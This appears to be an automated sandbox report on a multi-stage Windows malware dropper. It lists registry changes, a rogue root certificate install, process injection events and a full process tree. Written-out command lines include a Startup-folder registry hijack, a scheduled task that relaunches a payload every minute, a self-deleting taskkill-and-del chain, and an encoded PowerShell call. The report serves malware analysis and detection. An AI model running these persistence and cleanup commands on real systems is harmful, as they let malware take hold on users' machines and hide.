Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	KfPyFH7BVrxvlNKUGHlTDgNU.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

arnatic_3.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	arnatic_3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	arnatic_3.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1072 PING.EXE

pid	process
1072	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

arnatic_2.exe

pid	process
2808	arnatic_2.exe
2808	arnatic_2.exe
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032
1032

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

1032
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

arnatic_2.exe

pid process

2808 arnatic_2.exe

pid	process
1032

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

arnatic_4.exearnatic_6.exeP_wCSF3r2TPXmJMiZig60Wat.exearnatic_8.exe8VVrepEeAHV6zuHEl0wDIn7b.exeLOL.exepnpYzEtPcL6DGMuqX14YEBlm.exepowershell.exeKfPyFH7BVrxvlNKUGHlTDgNU.exesvchost.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	640	arnatic_4.exe
Token: SeDebugPrivilege	2344	arnatic_6.exe
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeDebugPrivilege	1788	P_wCSF3r2TPXmJMiZig60Wat.exe
Token: SeDebugPrivilege	344	arnatic_8.exe
Token: SeDebugPrivilege	2316	8VVrepEeAHV6zuHEl0wDIn7b.exe
Token: SeDebugPrivilege	3736	LOL.exe
Token: SeDebugPrivilege	1656	pnpYzEtPcL6DGMuqX14YEBlm.exe
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeDebugPrivilege	1992	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Token: SeImpersonatePrivilege	1992	KfPyFH7BVrxvlNKUGHlTDgNU.exe
Token: SeTcbPrivilege	4396	svchost.exe
Token: SeTcbPrivilege	4396	svchost.exe
Token: SeDebugPrivilege	676	taskkill.exe
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032
Token: SeCreatePagefilePrivilege	1032
Token: SeShutdownPrivilege	1032

Suspicious use of FindShellTrayWindow 7 IoCs

Processes:

Tal.exe.pif

pid process

720 Tal.exe.pif
1032
1032
720 Tal.exe.pif
720 Tal.exe.pif
1032
1032
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

Tal.exe.pif

pid process

720 Tal.exe.pif
720 Tal.exe.pif
720 Tal.exe.pif

pid	process
720	Tal.exe.pif
1032
1032
720	Tal.exe.pif
720	Tal.exe.pif
1032
1032

pid	process
720	Tal.exe.pif
720	Tal.exe.pif
720	Tal.exe.pif

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

CBE35192C04F83D4D3B179A8C229047ADE740AAC3785E.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exearnatic_1.exerUNdlL32.eXearnatic_5.exe

description	pid	process	target process
PID 4160 wrote to memory of 1876	4160	CBE35192C04F83D4D3B179A8C229047ADE740AAC3785E.exe	setup_install.exe
PID 4160 wrote to memory of 1876	4160	CBE35192C04F83D4D3B179A8C229047ADE740AAC3785E.exe	setup_install.exe
PID 4160 wrote to memory of 1876	4160	CBE35192C04F83D4D3B179A8C229047ADE740AAC3785E.exe	setup_install.exe
PID 1876 wrote to memory of 3344	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 3344	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 3344	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 4792	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 4792	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 4792	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 432	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 432	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 432	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1680	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1680	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1680	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1392	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1392	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1392	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1008	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1008	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1008	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1540	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1540	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1540	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1284	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1284	1876	setup_install.exe	cmd.exe
PID 1876 wrote to memory of 1284	1876	setup_install.exe	cmd.exe
PID 4792 wrote to memory of 2808	4792	cmd.exe	arnatic_2.exe
PID 4792 wrote to memory of 2808	4792	cmd.exe	arnatic_2.exe
PID 4792 wrote to memory of 2808	4792	cmd.exe	arnatic_2.exe
PID 3344 wrote to memory of 3772	3344	cmd.exe	arnatic_1.exe
PID 3344 wrote to memory of 3772	3344	cmd.exe	arnatic_1.exe
PID 3344 wrote to memory of 3772	3344	cmd.exe	arnatic_1.exe
PID 432 wrote to memory of 4452	432	cmd.exe	arnatic_3.exe
PID 432 wrote to memory of 4452	432	cmd.exe	arnatic_3.exe
PID 432 wrote to memory of 4452	432	cmd.exe	arnatic_3.exe
PID 1680 wrote to memory of 640	1680	cmd.exe	arnatic_4.exe
PID 1680 wrote to memory of 640	1680	cmd.exe	arnatic_4.exe
PID 1008 wrote to memory of 2344	1008	cmd.exe	arnatic_6.exe
PID 1008 wrote to memory of 2344	1008	cmd.exe	arnatic_6.exe
PID 1392 wrote to memory of 4020	1392	cmd.exe	arnatic_5.exe
PID 1392 wrote to memory of 4020	1392	cmd.exe	arnatic_5.exe
PID 1392 wrote to memory of 4020	1392	cmd.exe	arnatic_5.exe
PID 1540 wrote to memory of 116	1540	cmd.exe	arnatic_7.exe
PID 1540 wrote to memory of 116	1540	cmd.exe	arnatic_7.exe
PID 1284 wrote to memory of 344	1284	cmd.exe	arnatic_8.exe
PID 1284 wrote to memory of 344	1284	cmd.exe	arnatic_8.exe
PID 1284 wrote to memory of 344	1284	cmd.exe	arnatic_8.exe
PID 3772 wrote to memory of 3956	3772	arnatic_1.exe	arnatic_1.exe
PID 3772 wrote to memory of 3956	3772	arnatic_1.exe	arnatic_1.exe
PID 3772 wrote to memory of 3956	3772	arnatic_1.exe	arnatic_1.exe
PID 3832 wrote to memory of 2848	3832	rUNdlL32.eXe	rundll32.exe
PID 3832 wrote to memory of 2848	3832	rUNdlL32.eXe	rundll32.exe
PID 3832 wrote to memory of 2848	3832	rUNdlL32.eXe	rundll32.exe
PID 4020 wrote to memory of 1656	4020	arnatic_5.exe	pnpYzEtPcL6DGMuqX14YEBlm.exe
PID 4020 wrote to memory of 1656	4020	arnatic_5.exe	pnpYzEtPcL6DGMuqX14YEBlm.exe
PID 4020 wrote to memory of 1656	4020	arnatic_5.exe	pnpYzEtPcL6DGMuqX14YEBlm.exe
PID 4020 wrote to memory of 2316	4020	arnatic_5.exe	8VVrepEeAHV6zuHEl0wDIn7b.exe
PID 4020 wrote to memory of 2316	4020	arnatic_5.exe	8VVrepEeAHV6zuHEl0wDIn7b.exe
PID 4020 wrote to memory of 2316	4020	arnatic_5.exe	8VVrepEeAHV6zuHEl0wDIn7b.exe
PID 4020 wrote to memory of 3720	4020	arnatic_5.exe	vOPCJNmKWgy7sBTswt_qkvIe.exe
PID 4020 wrote to memory of 3720	4020	arnatic_5.exe	vOPCJNmKWgy7sBTswt_qkvIe.exe
PID 4020 wrote to memory of 3720	4020	arnatic_5.exe	vOPCJNmKWgy7sBTswt_qkvIe.exe
PID 4020 wrote to memory of 1788	4020	arnatic_5.exe	P_wCSF3r2TPXmJMiZig60Wat.exe

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1158

Processes:

attrib.exe

pid process

4408 attrib.exe

pid	process
4408	attrib.exe

C:\Users\Admin\AppData\Local\Temp\CBE35192C04F83D4D3B179A8C229047ADE740AAC3785E.exe
"C:\Users\Admin\AppData\Local\Temp\CBE35192C04F83D4D3B179A8C229047ADE740AAC3785E.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4160

C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\setup_install.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1876

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_1.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:3344

C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\arnatic_1.exe
arnatic_1.exe
4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3772

C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\arnatic_1.exe
"C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\arnatic_1.exe" -a
5⤵
- Executes dropped EXE
PID:3956

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_8.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1284

C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\arnatic_8.exe
arnatic_8.exe
4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:344

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_7.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1540

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_6.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1008

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_5.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1392

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_4.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_3.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:432

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c arnatic_2.exe
3⤵
- Suspicious use of WriteProcessMemory
PID:4792

C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\arnatic_3.exe
arnatic_3.exe
1⤵
- Executes dropped EXE
- Modifies system certificate store
PID:4452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 1028
2⤵
- Program crash
PID:4580

C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\arnatic_4.exe
arnatic_4.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:640

C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\arnatic_6.exe
arnatic_6.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2344

C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\arnatic_7.exe
arnatic_7.exe
1⤵
- Executes dropped EXE
PID:116

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 116 -s 1224
2⤵
- Program crash
PID:1748

C:\Users\Admin\AppData\Local\Temp\7zS040A36A6\arnatic_5.exe
arnatic_5.exe
1⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4020

C:\Users\Admin\Documents\8VVrepEeAHV6zuHEl0wDIn7b.exe
"C:\Users\Admin\Documents\8VVrepEeAHV6zuHEl0wDIn7b.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2316 -s 1160
3⤵
- Program crash
PID:3564

C:\Users\Admin\Documents\pnpYzEtPcL6DGMuqX14YEBlm.exe
"C:\Users\Admin\Documents\pnpYzEtPcL6DGMuqX14YEBlm.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1656 -s 1432
3⤵
- Program crash
PID:2760

C:\Users\Admin\Documents\xf0Pr3qMpZO8yIH34kKoigFE.exe
"C:\Users\Admin\Documents\xf0Pr3qMpZO8yIH34kKoigFE.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Checks processor information in registry
PID:1812

C:\ProgramData\60138439814446808535.exe
"C:\ProgramData\60138439814446808535.exe"
3⤵
- Executes dropped EXE
- Checks computer location settings
PID:2292

C:\Users\Admin\AppData\Local\Temp\62eca45584\bguuwe.exe
"C:\Users\Admin\AppData\Local\Temp\62eca45584\bguuwe.exe"
4⤵
- Executes dropped EXE
- Checks computer location settings
PID:4112

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\62eca45584\
5⤵
PID:4644

C:\Windows\SysWOW64\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\62eca45584\
6⤵
PID:5104

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN bguuwe.exe /TR "C:\Users\Admin\AppData\Local\Temp\62eca45584\bguuwe.exe" /F
5⤵
- Creates scheduled task(s)
PID:1676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2292 -s 1108
4⤵
- Program crash
PID:1384

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im xf0Pr3qMpZO8yIH34kKoigFE.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\xf0Pr3qMpZO8yIH34kKoigFE.exe" & del C:\ProgramData\*.dll & exit
3⤵
PID:4232

C:\Windows\SysWOW64\taskkill.exe
taskkill /im xf0Pr3qMpZO8yIH34kKoigFE.exe /f
4⤵
- Kills process with taskkill
PID:1308

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
4⤵
- Delays execution with timeout.exe
PID:3280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 504
3⤵
- Program crash
PID:1924

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 1844
3⤵
- Program crash
PID:4668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1812 -s 1836
3⤵
- Program crash
PID:2396

C:\Users\Admin\Documents\P_wCSF3r2TPXmJMiZig60Wat.exe
"C:\Users\Admin\Documents\P_wCSF3r2TPXmJMiZig60Wat.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:1788

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgAwAA==
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2856

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
3⤵
PID:3436

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
3⤵
PID:3416

C:\Users\Admin\Documents\vOPCJNmKWgy7sBTswt_qkvIe.exe
"C:\Users\Admin\Documents\vOPCJNmKWgy7sBTswt_qkvIe.exe"
